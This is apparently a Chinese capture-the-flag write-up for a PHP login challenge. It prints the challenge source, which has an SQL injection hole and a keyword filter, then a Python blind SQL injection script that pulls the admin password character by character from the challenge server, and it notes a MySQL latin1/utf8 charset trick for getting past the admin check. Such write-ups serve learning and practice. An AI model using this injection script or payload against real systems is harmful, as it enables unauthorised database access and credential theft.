看到群里发的 拿出来做了一下,学到了蛮多知识的,所以这里做一下记录
<?php include("config.php"); $conn ->query("set names utf8"); function randStr($lenth=32){ $strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"; $str = ""; while($lenth>0){ $str.=substr($strBase,rand(0,strlen($strBase)-1),1); $lenth --; } return $str; } if($install){ $sql = "create table <code class="prettyprint" >user
(id
int(10) unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT ,username
varchar(30) NOT NULL,passwd
varchar(32) NOT NULL,role
varchar(30) NOT NULL )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci "; if($conn->query($sql)){ $sql = "insert intouser
(username
,passwd
,role
) values ('admin','".md5(randStr())."','admin')"; $conn -> query($sql); } } function filter($str){ $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"; if(preg_match($filter,$str)){ die("you can't input this illegal char!"); } return $str; } function show($username){ global $conn; $sql = "select role fromuser
where username ='".$username."'"; $res = $conn ->query($sql); if($res->num_rows>0){ echo "$username is ".$res->fetch_assoc()['role']; }else{ die("Don't have this user!"); } } function login($username,$passwd){ global $conn; global $flag; $username = trim(strtolower($username)); $passwd = trim(strtolower($passwd)); if($username == 'admin'){ die("you can't login this as admin!"); } $sql = "select * fromuser
where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'"; $res = $conn ->query($sql); if($res->num_rows>0){ if($res->fetch_assoc()['role'] === 'admin') exit($flag); }else{ echo "sorry,username or passwd error!"; } } function source(){ highlight_file(__FILE__); } $username = isset($_POST['username'])?filter($_POST['username']):""; $passwd = isset($_POST['passwd'])?filter($_POST['passwd']):""; $action = isset($_GET['action'])?filter($_GET['action']):"source"; switch($action){ case "source": source(); break ; case "login" : login($username,$passwd);break; case "show" : show($username);break; }
审计可以发现这是一道sql注入题目,给了表名列名。所以直接查,过滤了空格用 () 绕就行
import requests url="http://121.36.104.216:10093/?action=show" flag='' for x in range(1,33): for i in range(33,125): con="admin'/(ascii(substr((select(passwd)from(user))from(%d)))<%d)=1='1" % (x,i) payload={ "username": con } s=requests.post(url,data=payload) if 'admin' in s.content: flag += chr(i-1) print flag break
学到一个知识,admin'/(ascii(substr((select(passwd)from(user))from(%d)))<%d)=1='1
看这段代码 'admin'/()=1=1
如果为1.就是admin/1=1=1
admin/1 返回0
admin/0 返回null
完成盲注
然后注意到
if($username == 'admin'){ die("you can't login this as admin!"); }
if($res->num_rows>0){ if($res->fetch_assoc()['role'] === 'admin') exit($flag); }else{ echo "sorry,username or passwd error!"; }
要求我们用admin登录,但是不能用admin
注意这句话
$conn ->query("set names utf8");
在默认情况下,mysql字符集为latin1,而执行了set names utf8;
以后,character_set_client
、character_set_connection
、character_set_results
等与客户端相关的配置字符集都变成了utf8,但character_set_database
、character_set_server
等服务端相关的字符集还是latin1。
这就是该Trick的核心,因为这一条语句,导致客户端、服务端的字符集出现了差别。既然有差别,Mysql在执行查询的时候,就涉及到字符集的转换。
具体请见P神博客
Mysql字符编码利用技巧
拿到flag